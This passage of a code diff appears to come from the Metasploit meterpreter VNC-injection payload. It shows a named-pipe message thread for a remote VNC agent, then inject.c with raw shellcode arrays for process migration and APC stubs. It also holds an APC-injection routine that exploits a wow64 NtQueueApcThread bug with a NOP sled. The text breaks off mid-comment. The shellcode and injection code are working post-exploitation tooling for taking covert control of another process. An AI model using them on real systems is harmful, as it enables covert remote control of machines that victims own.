DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,273 @@
|
|||
#include "loader.h"
|
||||
#include "context.h"
|
||||
|
||||
AGENT_CTX AgentContext = {0};
|
||||
|
||||
/*
|
||||
*
|
||||
*/
|
||||
VOID context_init( VOID )
|
||||
{
|
||||
memset( &AgentContext, 0, sizeof(AGENT_CTX) );
|
||||
|
||||
AgentContext.bDisableCourtesyShell = FALSE;
|
||||
AgentContext.bInit = TRUE;
|
||||
AgentContext.hCloseEvent = NULL;
|
||||
AgentContext.dwEncoding = 0;
|
||||
AgentContext.dwCompressLevel = 6;
|
||||
AgentContext.dwQualityLevel = -1;
|
||||
AgentContext.bUseCopyRect = FALSE;
|
||||
AgentContext.bEncodingRichCursor = FALSE;
|
||||
AgentContext.bEncodingPointerPos = FALSE;
|
||||
AgentContext.bEncodingLastRect = FALSE;
|
||||
AgentContext.bEncodingNewfbSize = FALSE;
|
||||
AgentContext.bEncodingXCursor = FALSE;
|
||||
|
||||
/*AgentContext.dictionaries[0] = NULL;
|
||||
AgentContext.dictionaries[1] = NULL;
|
||||
AgentContext.dictionaries[2] = NULL;
|
||||
AgentContext.dictionaries[3] = NULL;*/
|
||||
|
||||
AgentContext.dwPipeName = ( GetTickCount() ^ (DWORD)&AgentContext );
|
||||
}
|
||||
|
||||
/*
|
||||
* Try to read an exact ammount of data from a pipe and return
|
||||
* when either the data has been read or a failure occurs.
|
||||
*/
|
||||
DWORD _readexact( HANDLE hPipe, DWORD dwLength, BYTE * pBuffer )
|
||||
{
|
||||
DWORD dwTotal = 0;
|
||||
DWORD dwRead = 0;
|
||||
|
||||
do
|
||||
{
|
||||
while( dwTotal < dwLength )
|
||||
{
|
||||
if( !PeekNamedPipe( hPipe, NULL, 0, NULL, &dwRead, NULL ) )
|
||||
break;
|
||||
|
||||
if( !dwRead )
|
||||
{
|
||||
Sleep( 50 );
|
||||
continue;
|
||||
}
|
||||
|
||||
if( ReadFile( hPipe, (LPVOID)((LPBYTE)pBuffer + dwTotal), (dwLength - dwTotal), &dwRead, NULL ) )
|
||||
dwTotal += dwRead;
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
return dwTotal;
|
||||
}
|
||||
|
||||
/*
|
||||
* A thread to pick up any messages being posted back to the loader (such as an encoder change in the stream)
|
||||
*/
|
||||
DWORD WINAPI context_message_thread( LPVOID lpParameter )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
HANDLE hServerPipe = NULL;
|
||||
BYTE * pBuffer = NULL;
|
||||
char cNamedPipe[MAX_PATH] = {0};
|
||||
|
||||
__try
|
||||
{
|
||||
do
|
||||
{
|
||||
_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", AgentContext.dwPipeName );
|
||||
|
||||
dprintf("[LOADER] loader_message_thread. cNamedPipe=%s", cNamedPipe );
|
||||
|
||||
hServerPipe = CreateNamedPipe( cNamedPipe, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0, 0, 0, NULL );
|
||||
if( !hServerPipe )
|
||||
BREAK_ON_ERROR( "[LOADER] loader_message_thread. CreateNamedPipe failed" );
|
||||
|
||||
while( TRUE )
|
||||
{
|
||||
struct _hdr {
|
||||
DWORD dwMessage;
|
||||
DWORD dwLength;
|
||||
} header = {0};
|
||||
DWORD dwTotal = 0;
|
||||
|
||||
if( !ConnectNamedPipe( hServerPipe, NULL ) )
|
||||
{
|
||||
if( GetLastError() != ERROR_PIPE_CONNECTED )
|
||||
continue;
|
||||
}
|
||||
|
||||
dwTotal = _readexact( hServerPipe, 8, (BYTE *)&header );
|
||||
if( dwTotal != sizeof( struct _hdr ) )
|
||||
BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact header failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
pBuffer = (BYTE *)malloc( header.dwLength );
|
||||
if( !pBuffer )
|
||||
BREAK_WITH_ERROR( "[LOADER] loader_message_thread. pBuffer malloc failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
dwTotal = _readexact( hServerPipe, header.dwLength, pBuffer );
|
||||
if( dwTotal != header.dwLength )
|
||||
BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact pBuffer failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
DisconnectNamedPipe( hServerPipe );
|
||||
|
||||
switch( header.dwMessage )
|
||||
{
|
||||
case MESSAGE_SETENCODING:
|
||||
if( header.dwLength != sizeof(DWORD) )
|
||||
{
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, not enought data (got %d bytes)", header.dwLength );
|
||||
break;
|
||||
}
|
||||
AgentContext.dwEncoding = *(DWORD *)pBuffer;
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, new encoding is %d", AgentContext.dwEncoding );
|
||||
break;
|
||||
case MESSAGE_SETPIXELFORMAT:
|
||||
if( header.dwLength != sizeof(PIXELFORMAT) )
|
||||
{
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT, not enought data (got %d bytes)", header.dwLength );
|
||||
break;
|
||||
}
|
||||
memcpy( &AgentContext.PixelFormat, pBuffer, sizeof(PIXELFORMAT) );
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT" );
|
||||
break;
|
||||
case MESSAGE_SETCOMPRESSLEVEL:
|
||||
if( header.dwLength != sizeof(DWORD) )
|
||||
{
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, not enought data (got %d bytes)", header.dwLength );
|
||||
break;
|
||||
}
|
||||
AgentContext.dwCompressLevel = *(DWORD *)pBuffer;
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, new compress level is %d", AgentContext.dwCompressLevel );
|
||||
break;
|
||||
case MESSAGE_SETQUALITYLEVEL:
|
||||
if( header.dwLength != sizeof(DWORD) )
|
||||
{
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, not enought data (got %d bytes)", header.dwLength );
|
||||
break;
|
||||
}
|
||||
AgentContext.dwQualityLevel = *(DWORD *)pBuffer;
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, new quality level is %d", AgentContext.dwQualityLevel );
|
||||
break;
|
||||
case MESSAGE_SETCOPYRECTUSE:
|
||||
if( header.dwLength != sizeof(BOOL) )
|
||||
{
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, not enought data (got %d bytes)", header.dwLength );
|
||||
break;
|
||||
}
|
||||
AgentContext.bUseCopyRect = *(BOOL *)pBuffer;
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, new bUseCopyRect is %d", AgentContext.bUseCopyRect );
|
||||
break;
|
||||
case MESSAGE_SETENCODINGRICHCURSOR:
|
||||
if( header.dwLength != sizeof(BOOL) )
|
||||
{
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, not enought data (got %d bytes)", header.dwLength );
|
||||
break;
|
||||
}
|
||||
AgentContext.bEncodingRichCursor = *(BOOL *)pBuffer;
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, new dwEncodingRichCursor is %d", AgentContext.bEncodingRichCursor );
|
||||
break;
|
||||
case MESSAGE_SETENCODINGPOINTERPOS:
|
||||
if( header.dwLength != sizeof(BOOL) )
|
||||
{
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, not enought data (got %d bytes)", header.dwLength );
|
||||
break;
|
||||
}
|
||||
AgentContext.bEncodingPointerPos = *(BOOL *)pBuffer;
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, new dwEncodingPointerPos is %d", AgentContext.bEncodingPointerPos );
|
||||
break;
|
||||
case MESSAGE_SETENCODINGLASTRECT:
|
||||
if( header.dwLength != sizeof(BOOL) )
|
||||
{
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, not enought data (got %d bytes)", header.dwLength );
|
||||
break;
|
||||
}
|
||||
AgentContext.bEncodingLastRect = *(BOOL *)pBuffer;
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, new dwEncodingLastRect is %d", AgentContext.bEncodingLastRect );
|
||||
break;
|
||||
case MESSAGE_SETENCODINGNEWFBSIZE:
|
||||
if( header.dwLength != sizeof(BOOL) )
|
||||
{
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, not enought data (got %d bytes)", header.dwLength );
|
||||
break;
|
||||
}
|
||||
AgentContext.bEncodingNewfbSize = *(BOOL *)pBuffer;
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, new bEncodingNewfbSize is %d", AgentContext.bEncodingNewfbSize );
|
||||
break;
|
||||
case MESSAGE_SETENCODINGXCURSOR:
|
||||
if( header.dwLength != sizeof(BOOL) )
|
||||
{
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, not enought data (got %d bytes)", header.dwLength );
|
||||
break;
|
||||
}
|
||||
AgentContext.bEncodingXCursor = *(BOOL *)pBuffer;
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, new bEncodingXCursor is %d", AgentContext.bEncodingXCursor );
|
||||
break;
|
||||
/*
|
||||
case MESSAGE_SETZLIBDICTIONARY:
|
||||
if( header.dwLength < sizeof(DICTMSG) )
|
||||
{
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, not enought data (got %d bytes)", header.dwLength );
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
DICTMSG * dmsg = (DICTMSG *)pBuffer;
|
||||
if( dmsg->dwId > 4 )
|
||||
{
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, invalid id (got %d)", dmsg->dwId );
|
||||
break;
|
||||
}
|
||||
|
||||
if( AgentContext.dictionaries[dmsg->dwId] )
|
||||
free( AgentContext.dictionaries[dmsg->dwId] );
|
||||
|
||||
AgentContext.dictionaries[dmsg->dwId] = (DICTMSG *)malloc( sizeof(DICTMSG) + dmsg->dwDictLength );
|
||||
if( !AgentContext.dictionaries[dmsg->dwId] )
|
||||
{
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, malloc failed" );
|
||||
break;
|
||||
}
|
||||
|
||||
AgentContext.dictionaries[dmsg->dwId]->dwId = dmsg->dwId;
|
||||
AgentContext.dictionaries[dmsg->dwId]->dwDictLength = dmsg->dwDictLength;
|
||||
|
||||
memcpy( &AgentContext.dictionaries[dmsg->dwId]->bDictBuffer, &dmsg->bDictBuffer, dmsg->dwDictLength );
|
||||
|
||||
dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, id=%d, length=%d", dmsg->dwId, dmsg->dwDictLength );
|
||||
}
|
||||
break;
|
||||
*/
|
||||
default:
|
||||
dprintf("[LOADER] loader_message_thread. Unknown message 0x%08X", header.dwMessage );
|
||||
break;
|
||||
}
|
||||
|
||||
if( pBuffer )
|
||||
{
|
||||
free( pBuffer );
|
||||
pBuffer = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
dprintf( "[LOADER] loader_message_thread. EXCEPTION_EXECUTE_HANDLER\n\n" );
|
||||
}
|
||||
|
||||
dprintf("[LOADER] loader_message_thread. thread finishing...");
|
||||
|
||||
if( hServerPipe )
|
||||
{
|
||||
DisconnectNamedPipe( hServerPipe );
|
||||
CLOSE_HANDLE( hServerPipe );
|
||||
}
|
||||
|
||||
if( pBuffer )
|
||||
free( pBuffer );
|
||||
|
||||
return dwResult;
|
||||
}
|
|
@ -0,0 +1,108 @@
|
|||
// Copyright (C) 2006-2010, Rapid7 LLC
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
// are permitted provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice,
|
||||
// this list of conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice,
|
||||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_CONTEXT_H
|
||||
#define _VNCDLL_LOADER_CONTEXT_H
|
||||
//===============================================================================================//
|
||||
|
||||
typedef struct _PIXELFORMAT
|
||||
{
|
||||
BYTE bpp;
|
||||
BYTE depth;
|
||||
BYTE bigendian;
|
||||
BYTE truecolour;
|
||||
WORD redmax;
|
||||
WORD greenmax;
|
||||
WORD bluemax;
|
||||
BYTE redshift;
|
||||
BYTE greenshift;
|
||||
BYTE blueshift;
|
||||
BYTE pad1;
|
||||
WORD pad2;
|
||||
} PIXELFORMAT;
|
||||
|
||||
/*typedef struct _DICTMSG
|
||||
{
|
||||
DWORD dwId;
|
||||
DWORD dwDictLength;
|
||||
BYTE bDictBuffer[1];
|
||||
} DICTMSG;*/
|
||||
|
||||
/*
|
||||
* The context used for the agent to keep the vnc stream back to the client consistent during session switching.
|
||||
*/
|
||||
typedef struct _AGENT_CTX
|
||||
{
|
||||
// The WSAPROTOCOL_INFO structure for the socket back to the client.
|
||||
WSAPROTOCOL_INFO info;
|
||||
// Flag to disable the creation of a courtesy shell on the input desktop.
|
||||
BOOL bDisableCourtesyShell;
|
||||
// The event to terminate the vnc agent.
|
||||
HANDLE hCloseEvent;
|
||||
// A flag to force only the first agent instance to perform the RFB initilization.
|
||||
BOOL bInit;
|
||||
// The encoding used by the last agent, we can then force the next agent to keep using
|
||||
// the last known encoding in order to keep the remote client's RFB stream consistent.
|
||||
DWORD dwEncoding;
|
||||
// A hex value used for the loaders pipe server
|
||||
DWORD dwPipeName;
|
||||
// The rfb streams current pixel format.
|
||||
PIXELFORMAT PixelFormat;
|
||||
// Various settings for the rfb stream.
|
||||
DWORD dwCompressLevel;
|
||||
DWORD dwQualityLevel;
|
||||
BOOL bUseCopyRect;
|
||||
BOOL bEncodingRichCursor;
|
||||
BOOL bEncodingPointerPos;
|
||||
BOOL bEncodingLastRect;
|
||||
BOOL bEncodingNewfbSize;
|
||||
BOOL bEncodingXCursor;
|
||||
//DICTMSG * dictionaries[4];
|
||||
} AGENT_CTX, * LPAGENT_CTX;
|
||||
|
||||
#define MESSAGE_SETENCODING 0x28471649
|
||||
#define MESSAGE_SETPIXELFORMAT 0x92785926
|
||||
#define MESSAGE_SETCOMPRESSLEVEL 0x82658926
|
||||
#define MESSAGE_SETQUALITYLEVEL 0x31857295
|
||||
#define MESSAGE_SETCOPYRECTUSE 0x91748275
|
||||
#define MESSAGE_SETENCODINGRICHCURSOR 0x39185037
|
||||
#define MESSAGE_SETENCODINGPOINTERPOS 0x47295620
|
||||
#define MESSAGE_SETENCODINGLASTRECT 0x11984659
|
||||
#define MESSAGE_SETENCODINGNEWFBSIZE 0x94856345
|
||||
#define MESSAGE_SETENCODINGXCURSOR 0x81659265
|
||||
#define MESSAGE_SETZLIBDICTIONARY 0x91601668
|
||||
|
||||
//===============================================================================================//
|
||||
|
||||
VOID context_init( VOID );
|
||||
|
||||
DWORD WINAPI context_message_thread( LPVOID lpParameter );
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,532 @@
|
|||
#include "loader.h"
|
||||
#include "ps.h"
|
||||
#include "inject.h"
|
||||
#include "LoadLibraryR.h"
|
||||
#include <Tlhelp32.h>
|
||||
|
||||
// Simple trick to get the current meterpreters arch
|
||||
#ifdef _WIN64
|
||||
DWORD dwMeterpreterArch = PROCESS_ARCH_X64;
|
||||
#else
|
||||
DWORD dwMeterpreterArch = PROCESS_ARCH_X86;
|
||||
#endif
|
||||
|
||||
// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
|
||||
BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
|
||||
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
|
||||
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
|
||||
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
|
||||
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";
|
||||
|
||||
// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm'
|
||||
BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
|
||||
"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
|
||||
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
|
||||
"\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
|
||||
"\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
|
||||
"\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
|
||||
"\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
|
||||
"\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
|
||||
"\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
|
||||
"\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
|
||||
"\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
|
||||
"\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
|
||||
"\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
|
||||
"\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
|
||||
"\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
|
||||
"\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x48\x83\xC4\x50\x48\x89\xFC\xC3";
|
||||
|
||||
// see '/msf3/external/source/shellcode/x86/migrate/apc.asm'
|
||||
BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5"
|
||||
"\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F"
|
||||
"\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF"
|
||||
"\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B"
|
||||
"\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01"
|
||||
"\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF"
|
||||
"\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58"
|
||||
"\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04"
|
||||
"\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58"
|
||||
"\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10"
|
||||
"\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B"
|
||||
"\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00"
|
||||
"\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51"
|
||||
"\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x00";
|
||||
|
||||
// see '/msf3/external/source/shellcode/x64/migrate/apc.asm'
|
||||
BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48"
|
||||
"\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48"
|
||||
"\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48"
|
||||
"\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C"
|
||||
"\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41"
|
||||
"\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B"
|
||||
"\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01"
|
||||
"\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF"
|
||||
"\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41"
|
||||
"\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45"
|
||||
"\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C"
|
||||
"\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41"
|
||||
"\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20"
|
||||
"\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF"
|
||||
"\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00"
|
||||
"\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00"
|
||||
"\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41"
|
||||
"\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x00\x00\x00";
|
||||
#define MAXT 128
|
||||
/*
|
||||
* Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread
|
||||
* Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe
|
||||
*/
|
||||
DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
|
||||
{
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
HMODULE hNtdll = NULL;
|
||||
NTQUEUEAPCTHREAD pNtQueueApcThread = NULL;
|
||||
HANDLE hThreadSnap = NULL;
|
||||
LPVOID lpApcStub = NULL;
|
||||
LPVOID lpRemoteApcStub = NULL;
|
||||
LPVOID lpRemoteApcContext = NULL;
|
||||
HANDLE hThreadList[MAXT] = {0};
|
||||
THREADENTRY32 t = {0};
|
||||
APCCONTEXT ctx = {0};
|
||||
DWORD dwApcStubLength = 0;
|
||||
DWORD dwListIndex = 0;
|
||||
|
||||
do
|
||||
{
|
||||
ctx.s.lpStartAddress = lpStartAddress;
|
||||
ctx.p.lpParameter = lpParameter;
|
||||
ctx.bExecuted = FALSE;
|
||||
|
||||
t.dwSize = sizeof( THREADENTRY32 );
|
||||
|
||||
// Get the architecture specific apc migration stub...
|
||||
if( dwDestinationArch == PROCESS_ARCH_X86 )
|
||||
{
|
||||
if( dwMeterpreterArch == PROCESS_ARCH_X64 )
|
||||
{
|
||||
// injecting x64->x86(wow64)
|
||||
|
||||
// Our injected APC ends up running in native x64 mode within the wow64 process and as such
|
||||
// will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub.
|
||||
|
||||
// This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though.
|
||||
|
||||
SetLastError( ERROR_ACCESS_DENIED );
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." )
|
||||
}
|
||||
else
|
||||
{
|
||||
// injecting x86->x86
|
||||
lpApcStub = &apc_stub_x86;
|
||||
dwApcStubLength = sizeof( apc_stub_x86 );
|
||||
}
|
||||
}
|
||||
else if( dwDestinationArch == PROCESS_ARCH_X64 )
|
||||
{
|
||||
// injecting x64->x64 (and the same stub for x86(wow64)->x64)
|
||||
lpApcStub = &apc_stub_x64;
|
||||
dwApcStubLength = sizeof( apc_stub_x64 );
|
||||
|
||||
if( dwMeterpreterArch == PROCESS_ARCH_X86 )
|
||||
{
|
||||
// injecting x86(wow64)->x64
|
||||
|
||||
// For now we leverage a bug in wow64 to get x86->x64 injection working, this
|
||||
// will simply fail gracefully on systems where the technique does not work.
|
||||
|
||||
MEMORY_BASIC_INFORMATION mbi = {0};
|
||||
LPVOID lpRemoteAddress = NULL;
|
||||
BYTE * lpNopSled = NULL;
|
||||
BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0";
|
||||
|
||||
/*
|
||||
// On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes.
|
||||
// The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful,
|
||||
// however the start address of the new APC in the native x64 process is not what we specify but instead it is
|
||||
// the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc
|
||||
// this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there
|
||||
// injection will continue as normal.
|
||||
|
||||
// The registers on the native x64 process after the queued APC is attempted to run:
|
||||
rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process
|
||||
rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param)
|
||||
rdx = dwApcStatusBlock // unused
|
||||
r8 = dwApcReserved // unused
|
||||
|
||||
// On the WOW64 process side:
